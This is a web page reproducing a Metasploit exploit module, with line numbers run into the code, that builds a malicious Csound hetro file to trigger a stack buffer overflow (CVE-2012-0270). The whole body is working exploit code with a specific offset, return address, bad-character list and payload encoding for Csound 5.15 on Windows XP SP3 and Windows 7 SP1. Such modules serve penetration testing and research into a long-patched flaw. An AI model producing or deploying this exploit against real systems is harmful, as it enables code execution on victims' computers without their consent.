Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/csound_getnum_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(update_info(info,12'Name' => 'Csound hetro File Handling Stack Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow in Csound before 5.16.6.15The overflow occurs when trying to import a malicious hetro file16from tabular format.17In order to achieve exploitation the user should import the malicious18file through csound with a command like "csound -U het_import msf.csd file.het".19This exploit doesn't work if the "het_import" command is used directly20to convert the file.21},22'License' => MSF_LICENSE,23'Author' =>24[25'Secunia', # Vulnerability discovery26'juan vazquez' # Metasploit module27],28'References' =>29[30[ 'CVE', '2012-0270' ],31[ 'OSVDB', '79491' ],32[ 'BID', '52144' ],33[ 'URL', 'http://web.archive.org/web/20120514124556/http://secunia.com/secunia_research/2012-3/' ],34[ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f']35],36'Payload' =>37{38'Space' => 650,39'BadChars' => "\x00\x0a\x1a\x2c\xff",40'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -350041'DisableNops' => 'True'42},43'Platform' => 'win',44'Targets' =>45[46[ 'Csound 5.15 / Windows XP SP3 / Windows 7 SP1',47{48'Offset' => 132,49'Ret' => 0x6e955446 # push esp # ret / libgcc_s_dw2-1.dll50}51],52],53'Privileged' => false,54'DefaultTarget' => 0,55'DisclosureDate' => '2012-02-23'))5657register_options(58[59OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']),60])61end6263def exploit64sploit = rand_text(target['Offset'])65sploit << [target.ret].pack("V")66sploit << payload.encoded67print_status("Creating '#{datastore['FILENAME']}' file ...")68file_create(sploit)69end70end717273